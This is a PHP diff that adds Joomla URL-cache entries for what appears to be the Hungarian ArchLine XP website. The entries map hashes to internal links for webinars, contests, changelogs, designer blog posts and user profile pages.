+$this->_urlCache['adc83f268a19addbc039ae2dbd28aa12']='index.php?option=com_content&Itemid=124&catid=59&id=721&lang=hu&view=article#oktatas/webinariumok/csapatmunka-az-archline-xp-ben#0'; +$this->_urlCache['7b378cac528889269f87de14f82fc3b3']='index.php?option=com_content&Itemid=124&catid=59&id=718&lang=hu&view=article#oktatas/webinariumok/archline-xp-telepites-aktivalas-programkoltoztetes#0'; +$this->_urlCache['f10bc91c2ae43d75b4ea6391d1346b2f']='index.php?option=com_content&Itemid=124&catid=59&id=717&lang=hu&view=article#oktatas/webinariumok/megoldasok-komplex-projektekhez#0'; +$this->_urlCache['271c5e00bd92938d543e372e3c221b03']='index.php?option=com_content&Itemid=124&catid=59&id=715&lang=hu&view=article#oktatas/webinariumok/a-hatekony-tervezes-eszkozei#0'; +$this->_urlCache['8b4ed8cfa75289a429d661e656813b73']='index.php?option=com_content&Itemid=124&catid=59&id=701&lang=hu&view=article#oktatas/webinariumok/energetika-vendeg-winwatt#0'; +$this->_urlCache['ee76a74a10c589f118ec5d62871b0dcc']='index.php?option=com_content&Itemid=124&catid=59&id=698&lang=hu&view=article#oktatas/webinariumok/karpitozott-butorok-tervezese#0'; +$this->_urlCache['282a178d0fa569c30573a323477b08a2']='index.php?option=com_content&Itemid=124&catid=59&id=697&lang=hu&view=article#oktatas/webinariumok/halado-2d-tervezoeszkozok-2#0'; +$this->_urlCache['e5f0d987f98168e7700cbfddb1a34b64']='index.php?option=com_content&Itemid=124&catid=59&id=696&lang=hu&view=article#oktatas/webinariumok/halado-2d-tervezoeszkozok-1#0'; +$this->_urlCache['8448256a23e027766de3dfe93407422f']='index.php?option=com_content&Itemid=124&catid=59&id=694&lang=hu&view=article#oktatas/webinariumok/halado-butortervezo-eszkozok#0'; +$this->_urlCache['d4b9646f4ada04ac01dee9956ef45d95']='index.php?option=com_content&Itemid=124&catid=59&id=692&lang=hu&view=article#oktatas/webinariumok/fodemek-gerendak-oszlopok-reszletesen#0'; +$this->_urlCache['d6fc61e449a812aaf4435ecf7768fa46']='index.php?option=com_content&Itemid=124&catid=59&id=690&lang=hu&view=article#oktatas/webinariumok/halado-3d-szerkesztoeszkozok#0'; +$this->_urlCache['480b4cca420187ead87c4e99135809cb']='index.php?option=com_content&Itemid=124&catid=59&id=688&lang=hu&view=article#oktatas/webinariumok/meretezes-dokumentacio-helyisegpecsetek#0'; +$this->_urlCache['e2d2ba40e40eac6c9070ab1f9b460d72']='index.php?option=com_content&Itemid=124&catid=59&id=687&lang=hu&view=article#oktatas/webinariumok/nagy-projektek-kezelese#0'; +$this->_urlCache['da47769fc3ac7926d61a581f4e7f3847']='index.php?option=com_content&Itemid=124&catid=59&id=685&lang=hu&view=article#oktatas/webinariumok/lepcsok-es-korlatok-reszletesen#0'; +$this->_urlCache['c98236fa431285596b94a9039a6a7e11']='index.php?option=com_content&Itemid=124&catid=59&id=677&lang=hu&view=article#oktatas/webinariumok/tetotervezes-2-haladoknak#0'; +$this->_urlCache['8e31db8c2ded26cd00009f9ebcc89e92']='index.php?option=com_content&Itemid=124&catid=59&id=617&lang=hu&view=article#oktatas/webinariumok/teto-es-tetoszerkezetek-keszitese-az-archline-xp-ben#0'; +$this->_urlCache['042ef2f57df6b8efffa2654adcdfa567']='index.php?option=com_content&Itemid=124&catid=59&id=650&lang=hu&view=article#oktatas/webinariumok/belsoepiteszeti-tervezes-5-dokumentacio#0'; +$this->_urlCache['8736b587e8f28758292ff3ded039b6c6']='index.php?option=com_content&Itemid=124&catid=59&id=649&lang=hu&view=article#oktatas/webinariumok/belsoepiteszeti-tervezes-4-fenyes-es-rendering#0'; +$this->_urlCache['003d65805f9ae1732c2458b6328af2ab']='index.php?option=com_content&Itemid=124&catid=59&id=648&lang=hu&view=article#oktatas/webinariumok/belsoepiteszeti-tervezes-3-konyhatervezes#0'; +$this->_urlCache['20cc8ce91eb67e0812bcae9067349a1d']='index.php?option=com_content&Itemid=124&catid=59&id=670&lang=hu&view=article#oktatas/webinariumok/belsoepiteszeti-tervezes-2-furdoszobatervezes#0'; +$this->_urlCache['962348a22709cd76820d1f972e6ffc5e']='index.php?option=com_content&Itemid=124&catid=59&id=647&lang=hu&view=article#oktatas/webinariumok/belsoepiteszeti-tervezes-1-bevezeto#0'; +$this->_urlCache['acbf0181dd6e2736525c72820b4750f8']='index.php?option=com_content&Itemid=124&catid=59&id=665&lang=hu&view=article#oktatas/webinariumok/ut-a-bim-vilagaba-5-latvanytervezes#0'; +$this->_urlCache['bb8fd85ac338efc694acd9de9f666243']='index.php?option=com_content&Itemid=124&catid=59&id=662&lang=hu&view=article#oktatas/webinariumok/ut-a-bim-vilagaba-3-epiteszeti-tervdokumentacio#0'; +$this->_urlCache['0f786791d0a5f0d181d9bccf779b34bc']='index.php?option=com_content&Itemid=124&catid=59&id=633&lang=hu&view=article#oktatas/webinariumok/az-archline-xp-2018-kiemelt-funkcioi#0'; +$this->_urlCache['01eae1a3f4bbd9b627dfc86a0bb0b102']='index.php?option=com_content&Itemid=124&catid=59&id=624&lang=hu&view=article#oktatas/webinariumok/egyedi-ajtok-es-ablakok-szerkesztese-archline-xp-ben#0'; +$this->_urlCache['e877d5a01bd05c67db059e6f531d13d8']='index.php?option=com_content&Itemid=124&catid=59&id=699&lang=hu&view=article#oktatas/webinariumok/terepmodellezes#0'; +$this->_urlCache['d0b4e237dbe8ac5b76ab03e5136d534a']='index.php?option=com_content&Itemid=175&catid=20&id=490&lang=hu&view=article#palyazatok/honap-kepe/2015-januar#0'; +$this->_urlCache['3e6f058faf13c8d8995806f85d466df7']='index.php?option=com_sppagebuilder&Itemid=404&id=116&lang=hu&layout=edit&tmpl=component&view=form#116-belsoepiteszeti-eszkozok/edit#0'; +$this->_urlCache['6142ed53798ffcd0e786056f85dc98c0']='index.php?option=com_sppagebuilder&Itemid=271&id=71&lang=hu&layout=edit&tmpl=component&view=form#71-furdoszoba-tervezes/edit#0'; +$this->_urlCache['bad51dd375d6b7455f6f306bb4e73dbc']='index.php?option=com_content&Itemid=366&catid=24&id=1049&lang=hu&view=article#blog/munkak-bemutatasa/elektromos-koncepcioterv-fontossaga-csaladi-haz-epitesenel#0'; +$this->_urlCache['d504dca7c3f1032f6cf1d05abea1a897']='index.php?option=com_content&Itemid=175&catid=20&id=505&lang=hu&view=article#palyazatok/honap-kepe/2016-aprilis#0'; +$this->_urlCache['065467c23fd54a453a7f8639514d97fd']='index.php?option=com_sppagebuilder&Itemid=496&id=177&lang=hu&layout=edit&tmpl=component&view=form#177-oszlop-gerenda-epiteszet-1-mozaik/edit#0'; +$this->_urlCache['8beb9726c54b8d727691c9dfc640144c']='index.php?option=com_content&Itemid=366&catid=24&id=826&lang=hu&view=article#blog/munkak-bemutatasa/marshall-irodahaz-tervezo-birone-kapsza#0'; +$this->_urlCache['1ab2655280fbad38f03f3dbe99cbc05f']='index.php?option=com_content&Itemid=366&catid=24&id=1008&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-32-komfort-42-negyzetmeteren#0'; +$this->_urlCache['5f27626e43f70805b0841ce624927132']='index.php?option=com_content&Itemid=366&catid=24&id=1009&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-35-atlathato-terek#0'; +$this->_urlCache['0df616f7e5999f39209996d3a45b66d2']='index.php?option=com_content&Itemid=366&catid=24&id=1012&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-38-45-fokos-fordulat#0'; +$this->_urlCache['655bdf7c39b5548b6f6149a7a1189a8d']='index.php?option=com_content&Itemid=366&catid=24&id=1015&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-41-hatranybol-elony#0'; +$this->_urlCache['8b89266396cfa0151c956916979d4dea']='index.php?option=com_content&Itemid=366&catid=24&id=1017&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-44-elegancia-46-negyzetmeteren#0'; +$this->_urlCache['2a8c8e00487c5563eae336865ffc9122']='index.php?option=com_content&Itemid=366&catid=24&id=1018&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-47-praktikum-es-esztetika#0'; +$this->_urlCache['41fe3b26bee6fbc8ff777ea80dc17952']='index.php?option=com_content&Itemid=366&catid=24&id=1022&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2023-51-kenyelem-szemelyre-szabva#0'; +$this->_urlCache['fcf8d174e604de108d72616c197fc49c']='index.php?option=com_content&Itemid=366&catid=24&id=1029&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-02-korlatok-kozt-szabadon#0'; +$this->_urlCache['2a3a52dadc5228d6e3cee18a0e721738']='index.php?option=com_content&Itemid=366&catid=24&id=1033&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-05-kis-lakas-indulasnak#0'; +$this->_urlCache['e93e5c70d2ad27108d52ec1ddf1e17ae']='index.php?option=com_content&Itemid=366&catid=24&id=1050&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-11-ujragondolt-funkciok#0'; +$this->_urlCache['54defbc631494cf6e433304ccbbcabf0']='index.php?option=com_content&Itemid=366&catid=24&id=1056&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-14-uzletbol-otthon#0'; +$this->_urlCache['19712ad7709cbf5cb045f02a0357756a']='index.php?option=com_content&Itemid=366&catid=24&id=1063&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-17-tiszta-lappal#1'; +$this->_urlCache['81c71c1cf92ca39f2108dcb137efbb91']='index.php?option=com_content&Itemid=366&catid=24&id=1070&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-23-masodik-otthon#0'; +$this->_urlCache['ef9b698de77f3e0ab519e5d5c61ee754']='index.php?option=com_content&Itemid=366&catid=24&id=1071&lang=hu&view=article#blog/munkak-bemutatasa/megtervezzuk-nok-lapja-2024-26-elonytelenbol-hasznalhatot#0'; +$this->_urlCache['aa04d34ac981e616eb643ce7965781bb']='index.php?option=com_content&Itemid=366&catid=24&id=319&lang=hu&view=article#blog/munkak-bemutatasa/darida-sarkozi-antia#0'; +$this->_urlCache['44c32b78cfcb18d1200579daf2e9a9a8']='index.php?option=com_jsn&Itemid=&id=874&lang=hu&view=profile#sarkozi.anitadsa-studio.hu.html#0'; +$this->_urlCache['1fe98bd697b55622a9655feba6bbd857']='index.php?option=com_content&Itemid=366&catid=24&id=689&lang=hu&view=article#blog/munkak-bemutatasa/a-tervezo-sajat-otthona-tervezo-szilagyine-krisztina#0'; +$this->_urlCache['2a9bedee30c4ad68fee08d28ceeab201']='index.php?option=com_content&Itemid=124&format=feed&id=54&lang=hu&type=rss&view=category#oktatas/iskolak/feed/rss#0'; +$this->_urlCache['24cb79a69410ee3b2453a45a716dbe7e']='index.php?option=com_content&Itemid=124&format=feed&id=54&lang=hu&type=atom&view=category#oktatas/iskolak/feed/atom#0'; +$this->_urlCache['c1265dae397e1cf89d30c246c39ae89f']='index.php?option=com_content&Itemid=124&id=49&lang=hu&view=category#oktatas/iskolak/oktatoi-vizsga/#0'; +$this->_urlCache['30c6557042d06853ff06f8a2179e21ec']='index.php?option=com_content&Itemid=124&format=feed&id=19&lang=hu&type=rss&view=category#palyazatok/feed/rss#0'; +$this->_urlCache['b43679fc3801d514045bd4a86798ad9a']='index.php?option=com_content&Itemid=124&format=feed&id=19&lang=hu&type=atom&view=category#palyazatok/feed/atom#0'; +$this->_urlCache['ffa71f704fe2b7914cef807bb6e4ea69']='index.php?option=com_content&Itemid=790&catid=19&id=1105&lang=hu&view=article#palyazatok/rendering-palyazat-2025-dijatado-kepek#0'; +$this->_urlCache['d2ed97666e30b7719dd2b894da786142']='index.php?option=com_content&Itemid=795&catid=19&id=1111&lang=hu&view=article#palyazatok/az-ev-legjobb-vizsgamunkaja-palyazat-2025-dijatado-kepek#0'; +$this->_urlCache['52fbaac22b442ee4f23b6fff7f92643a']='index.php?option=com_content&Itemid=175&id=20&lang=hu&view=category#palyazatok/honap-kepe/#0'; +$this->_urlCache['1baedb49d9181c29c83a063e4e54d81f']='index.php?option=com_content&Itemid=176&id=21&lang=hu&view=category#palyazatok/ev-kepe/#0'; +$this->_urlCache['d5c72dd6c04ae836c8704ecae032ed1a']='index.php?option=com_content&Itemid=124&id=22&lang=hu&view=category#palyazatok/evszak-hangulatmontazsa/#0'; +$this->_urlCache['ae6d1f40eec51736855594d6d40d5b24']='index.php?option=com_content&Itemid=124&id=62&lang=hu&view=category#palyazatok/honap-kepe-live/#0'; +$this->_urlCache['c39c06592eca922a807563d617cfd88b']='index.php?option=com_content&Itemid=124&format=feed&id=51&lang=hu&type=rss&view=category#archline-xp/letoltesikozpont/program-verziok/valtozasok/feed/rss#0'; +$this->_urlCache['50abc8225abfc18288e059986ec7f2eb']='index.php?option=com_content&Itemid=124&format=feed&id=51&lang=hu&type=atom&view=category#archline-xp/letoltesikozpont/program-verziok/valtozasok/feed/atom#0'; +$this->_urlCache['26d96827188d522b4c474c78cfadfffc']='index.php?option=com_content&Itemid=124&catid=51&id=890&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2021-valtozasok#0'; +$this->_urlCache['4c954b92a1d7f9a3a50f861ef8a5e59b']='index.php?option=com_content&Itemid=124&catid=51&id=788&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2020-valtozasok#0'; +$this->_urlCache['e759b75c2f1362ccd65aa370f479275d']='index.php?option=com_content&Itemid=124&catid=51&id=560&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2017-valtozasok#0'; +$this->_urlCache['bd94dc41b09482a335311cac26400803']='index.php?option=com_content&Itemid=124&catid=51&id=886&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2021-live-valtozasok#0'; +$this->_urlCache['cf77ce40d2b02a185c957e843c384b51']='index.php?option=com_content&Itemid=124&catid=51&id=946&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2022-live-valtozasok#0'; +$this->_urlCache['cdade10c311ebd0c5d0dbb638cbae520']='index.php?option=com_content&Itemid=124&catid=51&id=712&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2019-valtozasok#0'; +$this->_urlCache['0cebd06ae534632e5ad3a1fc10b891c1']='index.php?option=com_content&Itemid=124&catid=51&id=764&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2019-live-valtozasok#0'; +$this->_urlCache['6c4d00d16f1d6aeef5691d0f939b1f04']='index.php?option=com_content&Itemid=124&catid=51&id=561&lang=hu&view=article#archline-xp/letoltesikozpont/program-verziok/valtozasok/archline-xp-2016-valtozasok#0'; +$this->_urlCache['c21c1604e993435149eb64c62cac3509']='index.php?option=com_content&Itemid=124&catid=34&id=968&lang=hu&view=article#letoltes/licensz-szerzodes-nyomtathato-2022#0'; +$this->_urlCache['6a126ffbbeb8b5a1f9effdc15f9ec090']='index.php?option=com_sppagebuilder&Itemid=317&id=65&lang=hu&layout=edit&tmpl=component&view=form#65-dokumentaciok/edit#0'; +$this->_urlCache['e26404ac6a67f373fd2d583b22e1603c']='index.php?option=com_content&Itemid=366&catid=24&id=1041&lang=hu&view=article#blog/munkak-bemutatasa/japandi-hangulatu-nappali-a-romai-parton-lorincz-judit#0'; +$this->_urlCache['f75e74be30e1e19fba9595c5a4921403']='index.php?option=com_content&Itemid=124&format=feed&id=44&lang=hu&type=rss&view=category#oktatas/feed/rss#0'; +$this->_urlCache['d5bce9c4adab88668191f5f85a7be808']='index.php?option=com_content&Itemid=124&format=feed&id=44&lang=hu&type=atom&view=category#oktatas/feed/atom#0'; +$this->_urlCache['a2eab7a9bb56432e72d649db01f8762e']='index.php?option=com_content&Itemid=124&catid=44&id=1087&lang=hu&view=article#oktatas/oktato-videok-2025#0'; +$this->_urlCache['8ae8c58f94822c7a1aea7578c9b2eaba']='index.php?option=com_content&Itemid=124&catid=44&id=970&lang=hu&view=article#oktatas/epiteszeti-tanfolyam-2022-attekintes#0'; +$this->_urlCache['cea91276cd33326ee8cc6af6ba38d332']='index.php?option=com_content&Itemid=124&catid=44&id=1004&lang=hu&view=article#oktatas/oktato-videok-2023#0'; +$this->_urlCache['d4c2cd6ed77ba33fd9661f7293028786']='index.php?option=com_content&Itemid=124&catid=44&id=1005&lang=hu&view=article#oktatas/oktato-videok-2022#0'; +$this->_urlCache['222f191e249967aae0711218172b959c']='index.php?option=com_content&Itemid=124&catid=44&id=404&lang=hu&view=article#oktatas/rendszerkovetelmenyek#0'; +$this->_urlCache['a231187ee1e9c88b4f5bf9bb1b82e1f1']='index.php?option=com_content&Itemid=124&catid=44&id=406&lang=hu&view=article#oktatas/regisztracio-es-aktivalas#0'; +$this->_urlCache['7b945b1381f3756816b36a8e4c37b761']='index.php?option=com_content&Itemid=124&id=54&lang=hu&view=category#oktatas/iskolak/#0'; +$this->_urlCache['3386e9c1336b360bcce2736a9de9547a']='index.php?option=com_content&Itemid=124&id=59&lang=hu&view=category#oktatas/webinariumok/#0'; +$this->_urlCache['91478ba025047c741afb0cc1a2757820']='index.php?option=com_content&Itemid=175&catid=20&id=493&lang=hu&view=article#palyazatok/honap-kepe/2015-aprilis#0'; +$this->_urlCache['bed768679d2dbdfc42582f9afed26959']='index.php?option=com_content&Itemid=175&catid=20&id=497&lang=hu&view=article#palyazatok/honap-kepe/2015-augusztus#0'; +$this->_urlCache['6d6fa0684bffb68f27ba1aab7637e9a1']='index.php?option=com_content&Itemid=175&catid=20&id=501&lang=hu&view=article#palyazatok/honap-kepe/2015-december#0'; +$this->_urlCache['b80d6a1c5ae04a3f7a6fe3319f83c7ac']='index.php?option=com_content&Itemid=175&catid=20&id=491&lang=hu&view=article#palyazatok/honap-kepe/2015-februar#0'; +$this->_urlCache['a7dc6b8c9a3d1a06fd9b3c5670d5b653']='index.php?option=com_content&Itemid=175&catid=20&id=496&lang=hu&view=article#palyazatok/honap-kepe/2015-julius#0'; +$this->_urlCache['f645db892c1d96f2094e9dde9495fb55']='index.php?option=com_content&Itemid=175&catid=20&id=495&lang=hu&view=article#palyazatok/honap-kepe/2015-junius#0'; +$this->_urlCache['103b665db4a5eec085126b4a4c01da32']='index.php?option=com_content&Itemid=175&catid=20&id=494&lang=hu&view=article#palyazatok/honap-kepe/2015-majus#0'; +$this->_urlCache['5cb8f16d0bee75abddb833343a77da09']='index.php?option=com_content&Itemid=175&catid=20&id=492&lang=hu&view=article#palyazatok/honap-kepe/2015-marcius#0'; +$this->_urlCache['70ac903485babf86598dea47b6b3f0d4']='index.php?option=com_content&Itemid=175&catid=20&id=499&lang=hu&view=article#palyazatok/honap-kepe/2015-oktober#0'; +$this->_urlCache['d5a1f61918495d562224f35e08b9fe6b']='index.php?option=com_content&Itemid=175&catid=20&id=498&lang=hu&view=article#palyazatok/honap-kepe/2015-szeptember#0'; +$this->_urlCache['156b289f58361359936845383b3ea615']='index.php?option=com_content&Itemid=175&catid=20&id=509&lang=hu&view=article#palyazatok/honap-kepe/2016-augusztus#0'; +$this->_urlCache['57f49b12e3c4a49c098fb914b5b17e45']='index.php?option=com_content&Itemid=175&catid=20&id=513&lang=hu&view=article#palyazatok/honap-kepe/2016-december#0'; +$this->_urlCache['f25b3093a7f0f731916fa7a1170a4081']='index.php?option=com_content&Itemid=175&catid=20&id=503&lang=hu&view=article#palyazatok/honap-kepe/2016-februar#0'; +$this->_urlCache['04a89ad54cce5ea0f304056008d13fc4']='index.php?option=com_content&Itemid=175&catid=20&id=502&lang=hu&view=article#palyazatok/honap-kepe/2016-januar#0'; +$this->_urlCache['dd6ddc242c9a6bc6d33533bccd9e9e74']='index.php?option=com_content&Itemid=175&catid=20&id=508&lang=hu&view=article#palyazatok/honap-kepe/2016-julius#0'; +$this->_urlCache['485e61397fce29ba7f979296b58ec78d']='index.php?option=com_content&Itemid=175&catid=20&id=507&lang=hu&view=article#palyazatok/honap-kepe/2016-junius#0'; +$this->_urlCache['09063f105e31aea71fa947128e85a408']='index.php?option=com_content&Itemid=175&catid=20&id=506&lang=hu&view=article#palyazatok/honap-kepe/2016-majus#0'; +$this->_urlCache['c945a968d12fd5ab266e2db4d7b6e08f']='index.php?option=com_content&Itemid=124&catid=37&id=360&lang=hu&view=article#projektek/epiteszet/eurokon#0'; +$this->_urlCache['41ae517da9058e82ebf149239529b3d3']='index.php?option=com_jsn&Itemid=&id=14221&lang=hu&view=profile#eurokoneurokon.net.html#0'; +$this->_urlCache['6f84529034b7378a70db51d9d1833f54']='index.php?option=com_content&Itemid=124&catid=37&id=362&lang=hu&view=article#projektek/epiteszet/csaladi-haz#0'; +$this->_urlCache['a6e4110f709b8d4fd0edc6fa163a7cf6']='index.php?option=com_content&Itemid=124&catid=37&id=359&lang=hu&view=article#projektek/epiteszet/lakopark#0'; +$this->_urlCache['a756a3275d96198f4d84052f0844bf4d']='index.php?option=com_sppagebuilder&Itemid=720&id=337&lang=hu&layout=edit&tmpl=component&view=form#edit/337#0'; +$this->_urlCache['454ebe30b82ad0f54fb6ada91627d3dc']='index.php?option=com_content&Itemid=124&catid=37&id=382&lang=hu&view=article#projektek/epiteszet/tervgaleria#0'; +$this->_urlCache['b7325905a6bbfb284e39ac7a3b6a481a']='index.php?option=com_jsn&Itemid=&id=1005&lang=hu&view=profile#epiteszetgmail.com.html#0'; +$this->_urlCache['6065dd9328f320a5de3edc0dc75b3929']='index.php?option=com_content&Itemid=124&catid=37&id=385&lang=hu&view=article#projektek/epiteszet/csaladi-haz-2#0'; +$this->_urlCache['622cb0f7043ee9e4be5f6ce3442f5d90']='index.php?option=com_content&Itemid=124&catid=37&id=380&lang=hu&view=article#projektek/epiteszet/via-alessi#0'; +$this->_urlCache['ecaa457158d1c6f3e3d19c8db793dc9c']='index.php?option=com_content&Itemid=124&catid=37&id=386&lang=hu&view=article#projektek/epiteszet/tervgaleria-2#0'; +$this->_urlCache['3ee88a936ec20634a032ea6456f7f23a']='index.php?option=com_jsn&Itemid=&id=1501&lang=hu&view=profile#h.kristitiscalinet.it.html#0'; +$this->_urlCache['29ab409cda19a2a234937d833030762d']='index.php?option=com_content&Itemid=124&catid=37&id=389&lang=hu&view=article#projektek/epiteszet/fabbricato-lugano#0'; +$this->_urlCache['368882112c5a77c350ae379e7f975884']='index.php?option=com_jsn&Itemid=&id=2430&lang=hu&view=profile#fflora77gmail.com.html#0'; +$this->_urlCache['6a963e96e3d078f9b79e81cb41ba7d43']='index.php?option=com_jsn&Itemid=&id=13702&lang=hu&view=profile#markovics.szfreemail.hu.html#0'; +$this->_urlCache['f117805def0f3fb15b9a4c832e89b736']='index.php?option=com_jsn&Itemid=&id=14667&lang=hu&view=profile#juhaszjudit30gmail.com.html#0'; +$this->_urlCache['786beb6d190cdcfc8687afdee1f66b74']='index.php?option=com_jsn&Itemid=&id=14865&lang=hu&view=profile#oagnessgmail.com.html#0'; +$this->_urlCache['223aa6a19eede4091bdde788639ee29f']='index.php?option=com_jsn&Itemid=&id=14669&lang=hu&view=profile#heneziorsigmail.com.html#0'; +$this->_urlCache['147f5c4d4c6645513f13125e1995d0e1']='index.php?option=com_jsn&Itemid=&id=14937&lang=hu&view=profile#taka.zalangmail.com.html#0'; +$this->_urlCache['387bf9c12c3bbb97d73764473e3f510e']='index.php?option=com_jsn&Itemid=&id=1437&lang=hu&view=profile#stud1t-online.hu.html#0'; +$this->_urlCache['a9b9cbe5b58c715c6bfdc6ddb10b3d09']='index.php?option=com_jsn&Itemid=&id=1161&lang=hu&view=profile#sallakt-online.hu.html#0'; +$this->_urlCache['ee7647f18012a54996dc58aa94220884']='index.php?option=com_jsn&Itemid=&id=1993&lang=hu&view=profile#v-ilifreemail.hu.html#0'; +$this->_urlCache['b106104899cc086e3f5f9741bf553249']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&type=rss&view=category#blog/munkak-bemutatasa/feed/rss#0'; +$this->_urlCache['89263d409e4d062f850fd70bb16b9ec3']='index.php?option=com_content&Itemid=366&format=feed&id=24&lang=hu&limit=31&type=atom&view=category#blog/munkak-bemutatasa/feed/atom#0'; +$this->_urlCache['3c0bb148a76f4f9c2c80861130521327']='index.php?option=com_content&Itemid=366&catid=24&id=317&lang=hu&view=article#blog/munkak-bemutatasa/art-deco-iroda-tervezo-orosz-flora#0'; +$this->_urlCache['e9fa4a17edf93b5e3c557f49c59bc85f']='index.php?option=com_content&Itemid=366&catid=24&id=315&lang=hu&view=article#blog/munkak-bemutatasa/dombhaz-atalakitasa-markovics-szandra-tervezotol#0'; +$this->_urlCache['d51eea351313e48c7ead9a96d27534df']='index.php?option=com_content&Itemid=366&catid=24&id=314&lang=hu&view=article#blog/munkak-bemutatasa/minimalista-stilusu-diplomamunka-tervezo-juhasz-judit#0'; +$this->_urlCache['b85cb26481e8f300fa194973538607c0']='index.php?option=com_content&Itemid=366&catid=24&id=313&lang=hu&view=article#blog/munkak-bemutatasa/harmonikus-csaladi-otthon-kialakitasa-orosz-agnestol#0'; +$this->_urlCache['6dbe29052be05d92f8a51df6f5cafbf3']='index.php?option=com_content&Itemid=366&catid=24&id=312&lang=hu&view=article#blog/munkak-bemutatasa/muveszi-csaladi-haz-diplomamunka-henezi-orsolya#0'; +$this->_urlCache['31b4dc4bfe8165345a91f2a97b9c08a9']='index.php?option=com_content&Itemid=366&catid=24&id=311&lang=hu&view=article#blog/munkak-bemutatasa/ujabb-diplomamunka-latvanytervek-ezuttal-zalan-katalintol#0'; +$this->_urlCache['d4cb365ec6c6e81d35d15813a48ec588']='index.php?option=com_content&Itemid=366&catid=24&id=310&lang=hu&view=article#blog/munkak-bemutatasa/egy-vizparti-haz-felujitasa-archline-xp-tervezoprogrammal#0'; +$this->_urlCache['ccde5045bb342283490ea9d0f3482741']='index.php?option=com_content&Itemid=366&catid=24&id=309&lang=hu&view=article#blog/munkak-bemutatasa/diplomamunka-bemutatasa-ketszintes-csaladi-haz-tervezese#0'; +$this->_urlCache['1466d7097d279118233f51dea7dac698']='index.php?option=com_content&Itemid=366&catid=24&id=308&lang=hu&view=article#blog/munkak-bemutatasa/konyha-atalakitasa-ket-valtozatban-sallak-andrea-tervezotol#0'; +$this->_urlCache['fbaded8c9d073f162a4c1a527d97c055']='index.php?option=com_content&Itemid=366&catid=24&id=307&lang=hu&view=article#blog/munkak-bemutatasa/egy-hasznalt-lakas-felujitasa-a-smarthome-lakberendezesi-studiotol#0'; +$this->_urlCache['b0edf5d0ab323a3e44c696e135c79caf']='index.php?option=com_content&Itemid=366&catid=24&id=306&lang=hu&view=article#blog/munkak-bemutatasa/modern-es-csaladias-otthon#0'; +$this->_urlCache['f44ee74a10a86ff6232bd52d5f45e252']='index.php?option=com_content&Itemid=366&catid=24&id=304&lang=hu&view=article#blog/munkak-bemutatasa/loft-lakas-tervezese-az-archline-xp-2015-tel#0'; +$this->_urlCache['0b1998b5752ad6159d2cc808abcf2ce1']='index.php?option=com_content&Itemid=366&id=24&lang=hu&limit=31&view=category#blog/munkak-bemutatasa/#0'; +$this->_urlCache['5f7321233d5ba11a74c42feaa2d17a38']='index.php?option=com_content&Itemid=366&id=24&lang=hu&limit=31&limitstart=0&view=category#blog/munkak-bemutatasa/#0'; +$this->_urlCache['8af5267ae1bb79130172c561ca4a8fd0']='index.php?option=com_jsn&Itemid=&id=1626&lang=hu&view=profile#jtoth62t-online.hu.html#0'; +$this->_urlCache['bd976f4a04dfc248ad05ae1261a3e3b5']='index.php?option=com_jsn&Itemid=&id=1547&lang=hu&view=profile#koronczay.noemit-online.hu.html#0'; +$this->_urlCache['3933ae99f8ea942955fc5355b21b7e6d']='index.php?option=com_content&Itemid=366&catid=24&id=706&lang=hu&view=article#blog/munkak-bemutatasa/modern-csaladi-haz-gyerekekkel-tervezo-doka-betty#0'; +$this->_urlCache['2fa13437504c4ed6750a95efedac6120']='index.php?option=com_content&Itemid=366&catid=24&id=693&lang=hu&view=article#blog/munkak-bemutatasa/az-archline-xp-vel-keszitett-elso-terv-egy-egyenisegre-hangolt-otthon-bemutatasa-tervezo-erdelyi-krisztina#0'; +$this->_urlCache['90b1742d310a70ab5399be9b030a9541']='index.php?option=com_content&Itemid=366&catid=24&id=691&lang=hu&view=article#blog/munkak-bemutatasa/a-tervezo-sajat-otthona-tervezo-bona-monika#0'; +$this->_urlCache['9ea3415b646ed32fe0b8bcee260022a6']='index.php?option=com_content&Itemid=366&catid=24&id=679&lang=hu&view=article#blog/munkak-bemutatasa/egy-fout-menti-uzlethelyiseg-ujjaeledese-bisztrokent-tervezo-andok-zsuzsanna#0'; +$this->_urlCache['a658409d797c45e23f928ae96215f903']='index.php?option=com_content&Itemid=366&catid=24&id=674&lang=hu&view=article#blog/munkak-bemutatasa/kis-lakas-a-belvaros-sziveben-tervezo-baranyai-timea#0'; +$this->_urlCache['49ea62b407ca6f8ed017d32127d66cc2']='index.php?option=com_content&Itemid=366&catid=24&id=675&lang=hu&view=article#blog/munkak-bemutatasa/a-zalaapati-templom-felujitasa-tervezo-farsang-laszlo#0'; +$this->_urlCache['588216af77ebaf687da7bef9c28ef367']='index.php?option=com_content&Itemid=366&catid=24&id=672&lang=hu&view=article#blog/munkak-bemutatasa/tervezo-kasza-zsuzsa#0'; 